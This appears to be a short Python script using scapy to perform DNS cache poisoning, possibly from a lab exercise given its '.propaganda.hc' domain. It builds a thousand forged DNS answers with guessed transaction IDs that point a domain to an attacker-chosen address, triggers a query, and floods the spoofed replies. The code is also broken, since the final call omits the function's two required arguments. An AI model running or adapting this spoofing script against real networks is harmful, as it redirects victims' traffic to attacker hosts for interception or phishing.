2024-03-14 17:26:44 +01:00

26 lines
826 B
Python

#!/usr/bin/env python
__author__ = "Mia Stein"
from scapy.all import *
from scapy.layers.l2 import *
import time
def dns_poisoning(SPOOF_ADDR, TARGET):
pkts = []
for x in range (10000,11000):
pkt = Ether(src="52:54:00:dd:01:50", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR,\
src=TARGET)/UDP(dport=4250)/DNS(id=x,an=DNSRR(rrname=url, type='A', rclass='IN', ttl=350, rdata=SPOOF_ADDR))
pkts.append(pkt)
dns = Ether(src="52:54:00:dd:01:38", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR, \
src="172.17.152.138")/UDP()/DNS(qd=DNSQR(qname=url))
sendp(dns, verbose = 0)
for pkt in pkts:
sendp(pkt, verbose=0)
if __name__ == '__main__':
url = "whenry_49094902fea7938f.propaganda.hc"
SPOOF_ADDR = '23.235.46.133'
TARGET = '192.168.1.125'
dns_poisoning()